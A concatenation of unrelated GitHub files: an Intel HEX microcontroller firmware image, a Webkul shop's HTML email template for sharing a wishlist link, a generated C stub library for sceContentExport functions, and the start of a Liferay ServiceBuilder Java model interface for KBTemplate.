:1003E000A2FDFEC040939600EDC0A3E096FFA2E000
:1003F000A5BF8D7F61FF71C0A2E096FFA3E0A5BFFE
:10040000AA27A064AABF82604093910050939200F3
:10041000A0908F004A19B09090005B09BB24A22CD9
:100420004C38520518F42092950049C0A091D40090
:10043000AA2359F1483C520528F4A0E1BA2EAAE0BB
:10044000AA2E23C04836A1E05A0728F4A8E0BA2E05
:10045000AFE0AA2E1AC0403DA2E05A0728F4A4E05B
:10046000BA2EAEE1AA2E11C0403AA5E05A0728F4F0
:10047000A2E0BA2EACE3AA2E08C04839A8E05A0779
:1004800020F4A1E0BA2EA8E7AA2EC42EA0919300D2
:10049000CA1AD52EA0919400DA0ADD202AF4AFEF13
:1004A000C094D094CA1ADA0A20929500A8E0A2104B
:1004B000A0E0CA14DA0618F4A1E0A09395004093D6
:1004C000930050939400409191005091920040937A
:1004D0008F005093900042E075C0A09165004A1BC8
:1004E000A09166005A0B94FD60C093FD5EC092FD22
:1004F0005AC086FF03C0D52EC42E0CC05695479512
:1005000091FD51C05695479590FD4DC0D52EC42EF6
:10051000D694C79461FD19C0AC2DAC51AD2DA2404D
:1005200008F005C0DD2089F4AC2DA85C70F4A09122
:100530006700A395AA2311F0A0936700AA3008F4DE
:100540004FC02092960081604BC0A0916700AA2303
:1005500019F0AA95A0936700A22C5091BA0097FDBC
:1005600002C0A090C800AAEFAA0EA22DA21DCA1810
:10057000DA0A4FB74170442319F040E050E015C04B
:10058000AFEFCA16D20418F04FEF50E00EC0A091A2
:10059000AC00CA9E412D000C441F50E008F012C070
:1005A0004FEF50E00FC05695479594FF07C0552375
:1005B00009F04FEFA42FA6954A0F521D4F3F520549
:1005C00008F04FEF40939600816061FF09C0AFE1F2
:1005D000A095A923AB299A2F8F7DBB2009F48062B7
:1005E000A0E4A093680085FF03C0AAE0A093680080
:1005F00061FD03C085FD01C08F7E85FD03C0A0E2C3
:10060000A0936900F894A9B7A160A9BF84FF02C0B4
:10061000A0E4ABBF3FBE189511E00AC013E008C0CC
:100620001AE006C01EE104C014E602C018EC00C0C7
:1006300005E1BB27BA95F1F70A95D9F71A95C1F7E5
:1006400008952AE338E709C020E33CE806C02AE21F
:1006500034EB03C025E238EC00C0B091AD00BA9590
:1006600009F4089512E0BB279398BA95F1F794988E
:10067000BA95F1F7949ABA95F1F7939ABA95F1F77A
:10068000123009F09098123009F49598B091AD00AD
:10069000BA95F1F7123009F0909A123009F4959A50
:1006A000B7E8BA95F1F71A95F1F6022FB22FBA957D
:1006B000F1F70A95D9F73A9581F693980895221B98
:1006C00039E0001F3A9509F40895221F211B18F400
:1006D000210F8894F6CF0894F4CF622C722CB0E0EE
:1006E0008894B395221F331FE0F737952795889498
:1006F000912E802E020B130B10F4192D082D10F4DF
:10070000889401C00894661C771CBA9571F7172D60
:10071000062D0895322D11232AF43A95009510954F
:10072000031B130BF894029F712C002D129F912C28
:10073000802C7894780C172D921C292DB4E06B2E08
:100740002695179507956A94D9F7332321F00095DC
:100750001095031B130B08950091B400043009F4A5
:1007600074C0B0919600B95198F0B72FB67081F46B
:1007700065FD2BC005E09090C600B92DBA9521F01B
:100780000AE0BA9509F002E1B0917B00B01BE0F0FD
:1007900065FF0AC0B0919E00B0939C00BFEFB0937C
:1007A000A300B1E0B093A400B0916100B0936300E6
:1007B00020927E0020927F00209280002092810073
:1007C000209282006F7D41C060629090C600B92D7A
:1007D000BA9579F4B0916200B095BB1FBB1F1B2F77
:1007E000B7950B2FB12FB170B3951B2FB02FBE7FD4
:1007F00025C0B92DBA95BA9581F4B0916200B09533
:10080000BB1FBB1FBB1F1B2FB7950B2FB12FB37087
:10081000B3951B2FB02FBC7F14C0B0916200B09570
:10082000BB1FBB1FBB1FBB1F1B2FB7950B2FB12FB0
:10083000B770B395B3951B2FB02FB87FB0540B2F63
:10084000120900937E0010937F00089510917B00A1
:10085000169500917A000795B0917E00B01B0B2F82
:10086000B0917F00B10B1B2F28F40038BFEF1B079E
:1008700040F009C00F37120508F405C00FE710E07B
:1008800002C000E81FEF00938300109384000895D6
:1008900000918300B09180000B0F10918400B09103
:1008A00081001B1F20E03091840033230AF42A9535
:1008B000B09182002B1F1AF4203F40F00AC02F3065
:1008C00008F407C00FEF1FEF2FE003C000E010E0B7
:1008D00020EF30916300B0919B003B1718F4323049
:1008E00030F009C0B0918400BB235AF004C0B0912D
:1008F0008400BB2332F40093800010938100209386
:10090000820008952091D70000918300000F10917C
:100910008400111FFFDE11232AF40038BFEF1B07EC
:1009200040F009C00F37120508F405C00FE710E0CA
:1009300002C000E81FEF002352F0B0916200B01B2C
:100940000B2F18F0013008F00AC001E008C0009534
:100950000F5FB09162000B0F08F001C00FEF009322
:10096000850008952091D8000091810010918200A7
:10097000D1DE11232AF40130BFEF1B0740F009C07C
:100980000F3F120508F405C00FEF10E002C001E0B0
:100990001FEF112352F0B0918500B01B0B2F18F000
:1009A000013008F00AC001E008C000950F5FB09167
:1009B00085000B0F08F001C00FEF0093630008954E
:1009C0000FEF71FD1EC0B091D300BB23D1F0B091E9
:1009D0007B00BB23B1F00FEF10917B0070DEF89429
:1009E000B091730072FDB5E00B9F112D002D78942E
:1009F000112309F00FEFB0919E000B1710F4009136
:100A00009E0000939D00089500917A0010917B0054
:100A100000541140B0919D0010F4BA9501C0B395F7
:100A200011F0B0939D000895F0D3B7E074FDB7E0E6
:100A3000B06CB7B9B6B1B068B064B6B9EDDDB7E0C7
:100A400074FDB7E0B06CB7B9B6B1B068B064B6B910
:100A5000B6B1B6FDFDCF04B115B1B6B1BF77B6B929
:100A60002BD424E32093A800222309F441C030E0D2
:100A70003093A900732E7694622E6694620E731ED4
:100A8000262D372D0217130778F08090A800B4E3C5
:100A9000B80DB093A8008090A900B0E0B81DB09345
:100AA000A900260D371DEECF8090A8009090A900D8
:100AB0001091A90016950091A80007951695079525
:100AC00023E0169507952A95E1F72091B5002A9520
:100AD00029F42092A8002092A9000AC02A9521F0AA
:100AE000800E911E2A95E1F78092A8009092A900AD
:100AF00008952091B500B6B1B6FDFBCF04B115B194
:100B0000B6B1BF77B6B9B091AA00B395B093AA00B9
:100B1000B83060F12092AA00B091D200BB2321F13D
:100B2000112329F0B091AB00BF3F61F009C0B09133
:100B3000AB000B1739F020F4BB2321F0BA9502C0AB
:100B4000B395E1F300919B00B093AB00B03050F44B
:100B500000ECB03038F400E8B03020F400E4B030FD
:100B600008F400E000939B007F7E08952130B1F0EF
:100B70000F3FB3E01B0790F4B4E3BB2379F0B091CF
:100B8000A8000B17B091A9001B0740F4B0919B007F
:100B9000BB2359F0BA95B0939B0007C0B0919B005E
:100BA000BF3F19F0B395B0939B0000919B00B091AB
:100BB0006300B01B10F400916300B0919C000B1710
:100BC00050F000919C00B0919C00BF3F21F0B0918B
:100BD0009C00B0939B00502E00936400B091AA003B
:100BE000B73009F47061089502E3F894B091D90028
:100BF0000B9F012D000C001F7894B0919B000B17E8
:100C000010F000919B000093610000936300502E50
:100C10000093640000939E00089520927A00B0EF44
:100C2000B0937B000895F8940CB51DB52091740025
:100C30007894309175006090760000937500109361
:100C40007600031B160971FD03C077FD80C028C024
:100C500070907700209377002709222319F00FEF77
:100C60001FEF0EC08090780090907900309378004C
:100C700060927900009175001091760008191909A9
:100C800020917A0030917B0036952795020F131F33
:100C900010F40FEF1FEF00937A0010937B002BC02E
:100CA00020917A0030917B003901B4E08B2EB2E0C4
:100CB0009B2E343040F08A949A94383020F072FDA4
:100CC00002C08A949A94769467948A94E1F72619DC
:100CD0003709992021F0169507959A94E1F7200F8E
:100CE000311F20937A0030937B0028F43FEF30933C
:100CF0007A0030937B00323008F4706871FF02C0D4
:100D0000B3E00DC0B091C40000917100023838F01A
:100D1000B395003A08F0B395B63008F0B5E09B2ED5
:100D2000B4E08B2E10917B0000917A0024E01695A0
:100D300007952A95E1F70819120928F0B02FB2504B
:100D4000B12FB20910F402E010E0980126C0209102
:100D50007A0030917B0039017694679466946694AA
:100D600066942619320906950695200F321D2093A8
:100D70007A0030937B00323008F07F7704E03695BC
:100D800027953695279526952695201B10F022301D
:100D900008F422E089019090C40060FDFECFE0904D
:100DA0008B00F0908C006160B9B7B061B9BF3801B9
:100DB00077FD41C07694679400938B0010938C006C
:100DC000B92DB330E1F0B0FD04C0060D171D93013D
:100DD00006C0000F111F0250120922E030E0B92DA9
:100DE000B33068F020938D0030938E00009387001D
:100DF000109388006092890070928A003AC0009334
:100E00008D0010938E0020938700309388006092AD
:100E1000890070928A0071FF0DC0BFE0B0938D0011
:100E200020928E00B093890020928A00B0938B00AC
:100E300020928C001EC0669400938B00B92DB330B5
:100E400091F0B0FD03C0060D262D03C0000F025027
:100E500022E0B92DB33038F020938D000093870045
:100E60006092890006C000938D00209387006092F5
:100E7000890000917C0002FD0350013031F495FDA2
:100E80000CC0B4E0B06CB7B90BC0023021F4B3E0D1
:100E9000B06CB7B905C095FDF4CFB2E0B06CB7B98E
:100EA0000091A200000F10F4BBE60B270093A200F4
:100EB00060FDFECFB2E0B0936E006160B9B7B06183
:100EC000B9BFB72FB670D1F020917A0030917B0076
:100ED000369527953695279571FF02C0B0E43B0FF4
:100EE000F8940CB51DB5020F131F1BBD0ABD616040
:100EF000B0E1B8BFB9B7B061B9BF78940895686080
:100F000020927D0020E066FD20E206C0686020920D
:100F10007D0020E266FD20E001E011E077FD11C0D8
:100F2000B72FB67009F0677F14E100917B0006953A
:100F300009F403950F3008F00FE071FF02C004E1DF
:100F400014E160FD0FC0B0917D00BB2359F071FF2B
:100F500006C0B0916E00BA95B0936E0011F4706245
:100F60004FC0ABDFB0B7B77FB0BFB8B1B0B7B860F4
:100F7000B0BFB0917D00B395B0937D00B8B177FD5F
:100F800006C0B1E071FDB3E0BA95F1F7B8B1B07247
:100F9000B21709F02AC071FF05C00395011708F0C8
:100FA0000A95CFCF63FD05C00395011708F0B4CFB4
:100FB000C8CF677FF8943CB56DB470907A00B0915B
:100FC0007B00770CBB1F08F4BFEF770CBB1F08F446
:100FD000BFEF370D6B1E6BBC3ABD6160B0E1B8BFAF
:100FE000B9B7B061B9BF789497CFB0916D00B13007
:100FF00008F492CF63FD90CF0A9509F0A2CF7F7DD0
:1010000020918D0030918E00F894B0E1B8BF0CB5FE
:101010001DB5020F131F1BBD0ABDE0908700F090A5
:1010200088006160B9B7B061B9BF7894B72FB67066
:1010300039F0B0916D0072FFB395B0936D0009C0A7
:1010400075FF07C066FD05C063FD03C0BF91BF917A
:10105000FAC4089500E063FF01C001E0F894109124
:101060007100B7E01B9F212D102D7894200F26953D
:101070001795269517952695179510937100183793
:1010800018F4B8E7B093710000917100B09172004C
:101090000B1720F06061909A949A959A60FDFECFAC
:1010A000E0908900F0908A006160B9B7B061B9BF83
:1010B0000895B2E095FD0AC0F894B0937C0093982F
:1010C000919A62FF01C095987894F4C0F894B09317
:1010D0007C009398979A62FF01C090987894EAC038
:1010E000B3E082FF24C095FD11C002E0F894B093F4
:1010F0007C00E0E8F0E00093B100959A979862FFD9
:1011000002C0949801C0939A7894D4C002E0F894F5
:10111000B0937C00E0E8F0E00093B100909A9198E1
:1011200062FF02C0949801C0939A7894C3C095FD61
:101130000BC0F894B0937C00EAE6F0E0959A62FF69
:1011400001C094987894B6C0F894B0937C00EAE615
:10115000F0E0909A62FF01C094987894ABC0B4E03C
:1011600095FD0AC0F894B0937C009198979A62FF1D
:1011700001C0949878949EC0F894B0937C0097989E
:10118000919A62FF01C09498789494C0B5E082FF70
:1011900024C095FD11C001E0F894B0937C00E6E70F
:1011A000F0E00093B100949A939862FF02C0909887
:1011B00001C0919A78947EC004E0F894B0937C00CA
:1011C000EAE8F0E00093B100949A939862FF02C0BD
:1011D000959801C0979A78946DC095FD0BC0F894CE
:1011E000B0937C00E4E6F0E0949A62FF01C090982E
:1011F000789460C0F894B0937C00E0E7F0E0949AB3
:1012000062FF01C09598789455C0B6E095FD0AC07C
:10121000F894B0937C009798939A62FF01C09098DD
:10122000789448C0F894B0937C009198939A62FFA8
:1012300001C0959878943EC0B1E082FF24C095FD2E
:1012400011C004E0F894B0937C00EAE8F0E0009369
:10125000B100909A919862FF02C0959801C0979A48
:10126000789428C001E0F894B0937C00E6E7F0E0C1
:101270000093B100959A979862FF02C0909801C0C0
:10128000919A789417C095FD0BC0F894B0937C00A8
:10129000E0E7F0E0909A62FF01C0959878940AC068
:1012A000F894B0937C00E4E6F0E0959A62FF01C008
:1012B000909878946F7E089523E630E0F9012092AB
:1012C000B100909A949A959A9198939897986B7F79
:1012D0000895A2EBB0E007E00D9307E00D9301E065
:1012E0000D9304E00D930FEF0D930D9309E00D9313
:1012F00002E00D9301E00D9301E00D93AEEBB0E041
:1013000001E00D9300E00D9304EB0D930FEF0D93AF
:101310000D930D9303E00D930FEF0D9301E00D93EB
:101320000FEF0D9305E20D9300ED0D9308E70D937C
:1013300008EC0D9304E00D930FEF0D9301E00D9376
:1013400000E00D930AE70D930AE00D9300E00D9382
:1013500001E00D9300E00D930FEF0D9300E00D936E
:1013600008952091B9008B7F233009F48460B091F7
:10137000BA009F7DB1FD90629F7BB091BB00B1FD33
:101380009064223011F0886001C0877F08950A952B
:10139000E00FF21DB4910895ECE1F0E00091B2008D
:1013A000F6DFB093D700ECE1F0E00091B300EFDF9F
:1013B000B093D800EAE2F0E00091B800E8DFB09323
:1013C000D9000091D100002319F42092A50013C088
:1013D000013108F001E1B02FB00FB00FB093A500BC
:1013E0001B2FB10FB10FB00FB093A600B10FB00F0C
:1013F000B00FB093A7000091B800023008F402E0EB
:1014000000937300B091CE000FEFB23009F400EA00
:10141000B33009F402E800937200E8E3F0E00091D1
:10142000D500B5DFB093A000089508952091C800BD
:101430003091C900B091BA00B33009F43E5097FF23
:1014400002C020E03FEFB32FB21B6B2EB25810F456
:10145000B2E86B2E00E00395609EB12DBD57D8F326
:101460000093AC0008959068E1DFDCD8DBD820E081
:1014700030E0B0E16B2ED2D8B09196002B0F321D28
:101480006A94C9F7B4E036952795BA95E1F7822EAC
:101490009F77CCDF0895F894E3E0F0E0B9E0B7BFC0
:1014A000B491B078C1F3F894A895B1B5B861B1BD65
:1014B000B0E0B1BDB4E0BEBFBFE5BDBFFDDEB4E08E
:1014C000B8BBB4E1B7BBB0E0B5BBB0E0B4BBB1E30F
:1014D000B2BBBBEBB1BB2224A0E0B0E02D92AA319D
:1014E000E9F7A0E6B0E00FEF2D920A95E9F7B1E039
:1014F000B093A200EEDEE8D2B7E0B06CB7B9B6B1F7
:10150000B460B068B6B90091CA000093AD00B1E014
:10151000B0936A00F8948AD894D884D895D882D8A1
:1015200096D880D860D382D881D87ED8F8940AEF34
:101530001AEFA0B396FFA095A2FF1FC01A95C9F796
:101540000A95B1F7E0E0FCE1B591B43E39F4B5910C
:10155000B03E21F4B591BF3F09F40CC0E0E0F39533
:10156000F395B591B83F49F4B591B43931F4B591DB
:10157000BA3A19F4EE27F6950994F3DE0DDF55DF3C
:1015800055DF0091CA000093AD0096DEB2E0B3BF14
:10159000B2E0BEBDB2E0B5BDB1E5B8BFB9BFB0B74E
:1015A000B77FB0BFB8B1B0B7B860B0BF35D8789426
:1015B0003BDA20927000B3E096FFB2E0B5BFB0E432
:1015C000BBBFBB27B064BABF8D7F30D8626033E049
:1015D0002CE0B0919500BB2321F42CE03A9509F45E
:1015E000A5CF20D880FFA2CF8E7FB0919600B230D9
:1015F00078F3B92FBF710091980000939700B093D2
:101600009800B01729F72A9521F76D7FB3E096FF70
:10161000B2E0B5BFBB27B064BABF8D7FB091D40034
:10162000BB2321F48062B92FB0709B2F8F7B209257
:101630006700FAD785FF05C0B0916700BA3008F09F
:101640008064ECD702E085FF01C000E0B091960015
:10165000B017B8F3F894F5D7F4D7F3D77894E6D762
:1016600020928600DBD7B091BE00B13008F478C07C
:10167000B0916A00B13008F473C085FD18C0B09114
:101680009600BF3F08F46CC0F894E4D77894CCD7A8
:10169000B0919600B130C0F7F894D3D7C1D7D1D765
:1016A0007894C2D7B0919600BF3FB0F3CEC2B8E0F5
:1016B0009B2E9068F894BADE7894B6D7F8949F770A
:1016C000B5DE80909600B0919600BF37789408F40C
:1016D0004FC0A2D7F894BED778949A9451F7C3DE3E
:1016E000B82DB550B093C900A1D7F89481D27894A1
:1016F000BAE09B2E9068F89499DE789495D7F89488
:101700009F7794DE80909600B0919600BF377894D2
:1017100078F782D7F89495D783D793D778949A940B
:1017200049F7A1DEB82DBB5FB093C8000B2F109115
:10173000C900125810F0100B20F4B2E80B0F009300
:10174000C90074D7F894EDD162D278946DD7F8942B
:101750006DDE7894B0919600BF3F08F48ECF75C2CD
:1017600000919600B09186000B1710F00093860050
:101770005BD701E0B091BA00B35009F405E0B09135
:101780009600B01708F06ECFF89464D763D762D78D
:1017900078944CD720926A0020926B0020926C00C3
:1017A000B0916B00B395B0936B00BF3F71F5B091F2
:1017B0006C00B395B0936C00B091CC0009E1BA9580
:1017C00059F002E3BA9541F00DE7BA9529F00AEF16
:1017D000BA9511F020926C00B0916C00B017A8F08F
:1017E0006BDD1AD7B0916C00BA95B0936C00209263
:1017F0006B00B091CB00B093AD00F8942BD77894E8
:10180000B091CA00B093AD000FD70AD7B09168006D
:10181000BB2319F485FF01C089CE01E085FD01C01D
:1018200006E0B0919600B01708F4BACFFDD6B0919B
:101830006800BB2309F47ACEF8943EDD2092610063
:101840002092620020926300522C20926400209229
:10185000A1007894B091B700BB0FB0939F00209285
:101860007E0020927F0020928000209281002092B2
:1018700082002092AA0060E070E020927100B8E03F
:10188000B093AA007061C8D6B7E074FDB7E0B06C41
:10189000B7B9B6B1B068B064B6B9B6B1B6FDFDCFF0
:1018A00004B115B1B6B1BF77B6B9112309F00FEF86
:1018B0000093AB001ED9B8E0B093AA00706151DD6F
:1018C000F894BFEFB0939B008FD9B0916100B093B3
:1018D0009B00B0939C00B0939D007894B1E0B093CE
:1018E0006100B09363005B2EB0936400B093A400DA
:1018F000B0919A00B093A300B091BA00B33019F43C
:101900009F7D87FD90627160726020926D007DDC2A
:1019100093DC83D988D981D986D97FD9F7DA1CD7C6
:1019200099DBC7DB80D9EBDA65FD90D777FF48D824
:1019300077FD6AD88FDBD4DB76D9E8DA65FDA8D7E6
:1019400089DB0DDC70D9DBDA65FDDCD783DB1EDCDF
:101950006AD9DCDA65FD06D87DDB57DC64D9CFDADD
:10196000B7E074FDB7E0B06CB7B9B6B1B068B064B9
:10197000B6B970DB61DC57D9BCD871FF1EC0B0911D
:101980009E00B0939B00B0939C00B0919A00B093DE
:10199000A300B1E0B093A40018E12CE0B0916D0079
:1019A000B11728F07D7F746020936F0006C0B0915E
:1019B0009600B13008F0B2CF50C072FF15C066FD7E
:1019C00013C0B0916F00BA9519F47B7F7860A6CFF1
:1019D000B0936F00B0919600B13008F09FCFB091F6
:1019E000BA00B33009F039C020927000B09199006C
:1019F000B13058F0B0919E00B0939C00B0919A0025
:101A0000B093A300B1E0B093A400B09199000AEFA5
:101A10001091D600112309F003E0B01708F01DC0A3
:101A200085FF04C0B0916800BB23B9F000EF66FFEA
:101A300005C0B0919E00B0939B0000E2B0917B0086
:101A4000B01708F46BCFB0917000B395B0937000ED
:101A5000B0919600BB2309F002C020927000F89468
:101A60002BDC8090B900B2E0B093B9007ADC8092B0
:101A7000B900209261002092620020926300522CF3
:101A80002092640020929F0060E070E07894CCD5B2
:101A900013DC0091D600002319F090989498959843
:101AA000B7E0B06CB7B9B6B1B460B068B6B985FF8D
:101AB00005C0B0916800BB2309F438CDB091BF00D8
:101AC000B13008F0BECD68CEEDE0F0E023D0053AAD
:101AD00009F01BC0EEE0F0E01DD00A3509F015C09A
:101AE0003AE0A2EBB0E0E3E0F0E014D00D933196E1
:101AF0003A95D9F739E1AEEBB0E0EFE0F0E00AD08B
:101B00000D9331963A95D9F702C0E3DB0AD0E8E2AB
:101B1000F0E00895E199FECFEEBBFFBBE09A0DB374
:101B200008951ED03AE0A2EBB0E0E3E0F0E00D91C2
:101B30000FD031963A95D9F739E1AEEBB0E0EFE04E
:101B4000F0E00D9105D031963A95D9F712D008956D
:101B5000E199FECF0DBBEEBBFFBBE29AE19A08957F
:101B6000EDE0F0E00FEFF4DFEEE0F0E00FEFF0DF9C
:101B70000895EDE0F0E005EAEBDFEEE0F0E00AE5E5
:101B8000E7DF08953091AE000091AF00313011F4DD
:101B90000093B200323011F40093B300333011F4EB
:101BA0000093B400343011F40093C600353011F4C2
:101BB0000093B500363011F40093B800373011F4BB
:101BC0000093C400383011F40093B900393011F497
:101BD0000093CE003A3011F40093BA003B3011F478
:101BE0000093BB00089525E021D52A95E9F70895D3
:101BF00028D52AD52CD52ED513D523D525D527D50F
:101C000029D50ED51ED520D522D524D5089522D587
:101C10001ED51AD516D504D51DD519D515D511D56E
:101C2000FFD418D514D510D50CD508958090AE00EA
:101C30009090AF0006D505D504D5F2D48A94D1F79B
:101C400009D5EED49A94E1F70895F894D1DF789409
:101C5000CADFC9DFB1E0B093AE00B1E0B093AF002E
:101C60002092B000F894E2DF7894B5E06B2E70908B
:101C70009600DCD4B09196007B16C9F7B13018F00D
:101C8000BF3F40F107C07EDFF8944BDFB1DFB8E023
:101C9000B1BDA9DF6A9459F7B091B000B395B09384
:101CA000B000B33008F4DECF9EDFB091AF00B39543
:101CB000B093AF00F894B091AE00BA95EEE3F0E0C7
:101CC000EB0FF21D049178940395B091AF00B0171B
:101CD00008F4C6CF88DF87DFB091AE00B395B0932C
:101CE000AE00B091AE00BC3008F4B7CFF2DAF89491
:0A1CF00018DFB8E0B1BD77DFCECBFE
:00000001FF
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />
<title>Message from {shop_name}</title>
<style> @media only screen and (max-width: 300px){
body {
width:218px !important;
margin:auto !important;
}
.table {width:195px !important;margin:auto !important;}
.logo, .titleblock, .linkbelow, .box, .footer, .space_footer{width:auto !important;display: block !important;}
span.title{font-size:20px !important;line-height: 23px !important}
span.subtitle{font-size: 14px !important;line-height: 18px !important;padding-top:10px !important;display:block !important;}
td.box p{font-size: 12px !important;font-weight: bold !important;}
.table-recap table, .table-recap thead, .table-recap tbody, .table-recap th, .table-recap td, .table-recap tr {
display: block !important;
}
.table-recap{width: 200px!important;}
.table-recap tr td, .conf_body td{text-align:center !important;}
.address{display: block !important;margin-bottom: 10px !important;}
.space_address{display: none !important;}
}
@media only screen and (min-width: 301px) and (max-width: 500px) {
body {width:308px!important;margin:auto!important;}
.table {width:285px!important;margin:auto!important;}
.logo, .titleblock, .linkbelow, .box, .footer, .space_footer{width:auto!important;display: block!important;}
.table-recap table, .table-recap thead, .table-recap tbody, .table-recap th, .table-recap td, .table-recap tr {
display: block !important;
}
.table-recap{width: 295px !important;}
.table-recap tr td, .conf_body td{text-align:center !important;}
}
@media only screen and (min-width: 501px) and (max-width: 768px) {
body {width:478px!important;margin:auto!important;}
.table {width:450px!important;margin:auto!important;}
.logo, .titleblock, .linkbelow, .box, .footer, .space_footer{width:auto!important;display: block!important;}
}
@media only screen and (max-device-width: 480px) {
body {width:308px!important;margin:auto!important;}
.table {width:285px;margin:auto!important;}
.logo, .titleblock, .linkbelow, .box, .footer, .space_footer{width:auto!important;display: block!important;}
.table-recap{width: 295px!important;}
.table-recap tr td, .conf_body td{text-align:center!important;}
.address{display: block !important;margin-bottom: 10px !important;}
.space_address{display: none !important;}
}
</style>
</head>
<body style="-webkit-text-size-adjust:none;background-color:#fff;width:650px;font-family:Open-sans, sans-serif;color:#555454;font-size:13px;line-height:18px;margin:auto">
<table class="table table-mail" style="width:100%;margin-top:10px;-moz-box-shadow:0 0 5px #afafaf;-webkit-box-shadow:0 0 5px #afafaf;-o-box-shadow:0 0 5px #afafaf;box-shadow:0 0 5px #afafaf;filter:progid:DXImageTransform.Microsoft.Shadow(color=#afafaf,Direction=134,Strength=5)">
<tr>
<td class="space" style="width:20px;padding:7px 0"> </td>
<td align="center" style="padding:7px 0">
<table class="table" bgcolor="#ffffff" style="width:100%">
<tr>
<td align="center" class="logo" style="border-bottom:4px solid #333333;padding:7px 0">
<a title="{shop_name}" href="{shop_url}" style="color:#337ff1">
<img src="{shop_logo}" alt="{shop_name}" />
</a>
</td>
</tr>
<tr>
<td align="center" class="titleblock" style="padding:7px 0">
<font size="2" face="Open-sans, sans-serif" color="#555454">
<span class="title" style="font-weight:500;font-size:28px;text-transform:uppercase;line-height:33px">Hi,</span>
</font>
</td>
</tr>
<tr>
<td class="space_footer" style="padding:0!important"> </td>
</tr>
<tr>
<td class="box" style="border:1px solid #D6D4D4;background-color:#f8f8f8;padding:7px 0">
<table class="table" style="width:100%">
<tr>
<td width="10" style="padding:7px 0"> </td>
<td style="padding:7px 0">
<font size="2" face="Open-sans, sans-serif" color="#555454">
<p data-html-only="1" style="border-bottom:1px solid #D6D4D4;margin:3px 0 7px;text-transform:uppercase;font-weight:500;font-size:18px;padding-bottom:10px">
Message from {shop_name} </p>
<span style="color:#777">
<span style="color:#333"><strong>{shop_name}</strong></span> invites you to send this link to your friends, so they can see your wishlist: <span style="color:#333"><strong>{wishlist}</strong></span><br /><br />
<a title="WishList" href="{message}" style="color:#337ff1">{message}</a>
</span>
</font>
</td>
<td width="10" style="padding:7px 0"> </td>
</tr>
</table>
</td>
</tr>
<tr>
<td class="space_footer" style="padding:0!important"> </td>
</tr>
<tr>
<td class="footer" style="border-top:4px solid #333333;padding:7px 0">
<span><a href="{shop_url}" style="color:#337ff1">{shop_name}</a> powered by <a href="https://webkul.com" style="color:#337ff1">Webkul™</a></span>
</td>
</tr>
</table>
</td>
<td class="space" style="width:20px;padding:7px 0"> </td>
</tr>
</table>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
/* Source generated by crazyvoids source generating tool **/
#include "libSceContentExport.h"
void sceContentExportCancel() { for(;;){} }
void sceContentExportFinish() { for(;;){} }
void sceContentExportFromData() { for(;;){} }
void sceContentExportFromDataWithThumbnail() { for(;;){} }
void sceContentExportFromFile() { for(;;){} }
void sceContentExportFromFileWithContentIdList() { for(;;){} }
void sceContentExportFromFileWithThumbnail() { for(;;){} }
void sceContentExportFromFileWithTitleIdList() { for(;;){} }
void sceContentExportGetProgress() { for(;;){} }
void sceContentExportInit() { for(;;){} }
void sceContentExportStart() { for(;;){} }
void sceContentExportTerm() { for(;;){} }
void sceContentExportValidateContents() { for(;;){} }
void __attribute__ ((constructor)) initLibrary(void)
{
}
void __attribute__ ((destructor)) cleanUpLibrary(void)
{
}
|
{
"pile_set_name": "Github"
}
|
/**
* Copyright (c) 2000-present Liferay, Inc. All rights reserved.
*
* This library is free software; you can redistribute it and/or modify it under
* the terms of the GNU Lesser General Public License as published by the Free
* Software Foundation; either version 2.1 of the License, or (at your option)
* any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more
* details.
*/
package com.liferay.knowledgebase.model;
import com.liferay.portal.kernel.bean.AutoEscape;
import com.liferay.portal.kernel.exception.SystemException;
import com.liferay.portal.model.BaseModel;
import com.liferay.portal.model.CacheModel;
import com.liferay.portal.model.StagedGroupedModel;
import com.liferay.portal.service.ServiceContext;
import com.liferay.portlet.expando.model.ExpandoBridge;
import java.io.Serializable;
import java.util.Date;
/**
* The base model interface for the KBTemplate service. Represents a row in the "KBTemplate" database table, with each column mapped to a property of this class.
*
* <p>
* This interface and its corresponding implementation {@link com.liferay.knowledgebase.model.impl.KBTemplateModelImpl} exist only as a container for the default property accessors generated by ServiceBuilder. Helper methods and all application logic should be put in {@link com.liferay.knowledgebase.model.impl.KBTemplateImpl}.
* </p>
*
* @author Brian Wing Shun Chan
* @see KBTemplate
* @see com.liferay.knowledgebase.model.impl.KBTemplateImpl
* @see com.liferay.knowledgebase.model.impl.KBTemplateModelImpl
* @generated
*/
public interface KBTemplateModel extends BaseModel<KBTemplate>,
StagedGroupedModel {
/*
* NOTE FOR DEVELOPERS:
*
* Never modify or reference this interface directly. All methods that expect a k b template model instance should use the {@link KBTemplate} interface instead.
*/
/**
* Returns the primary key of this k b template.
*
* @return the primary key of this k b template
*/
public long getPrimaryKey();
/**
* Sets the primary key of this k b template.
*
* @param primaryKey the primary key of this k b template
*/
public void setPrimaryKey(long primaryKey);
/**
* Returns the uuid of this k b template.
*
* @return the uuid of this k b template
*/
@AutoEscape
@Override
public String getUuid();
/**
* Sets the uuid of this k b template.
*
* @param uuid the uuid of this k b template
*/
@Override
public void setUuid(String uuid);
/**
* Returns the kb template ID of this k b template.
*
* @return the kb template ID of this k b template
*/
public long getKbTemplateId();
/**
* Sets the kb template ID of this k b template.
*
* @param kbTemplateId the kb template ID of this k b template
*/
public void setKbTemplateId(long kbTemplateId);
/**
* Returns the group ID of this k b template.
*
* @return the group ID of this k b template
*/
@Override
public long getGroupId();
/**
* Sets the group ID of this k b template.
*
* @param groupId the group ID of this k b template
*/
@Override
public void setGroupId(long groupId);
/**
* Returns the company ID of this k b template.
*
* @return the company ID of this k b template
*/
@Override
public long getCompanyId();
/**
* Sets the company ID of this k b template.
*
* @param companyId the company ID of this k b template
*/
@Override
public void setCompanyId(long companyId);
/**
* Returns the user ID of this k b template.
*
* @return the user ID of this k b template
*/
@Override
public long getUserId();
/**
* Sets the user ID of this k b template.
*
* @param userId the user ID of this k b template
*/
@Override
public void setUserId(long userId);
/**
* Returns the user uuid of this k b template.
*
* @return the user uuid of this k b template
* @throws SystemException if a system exception occurred
*/
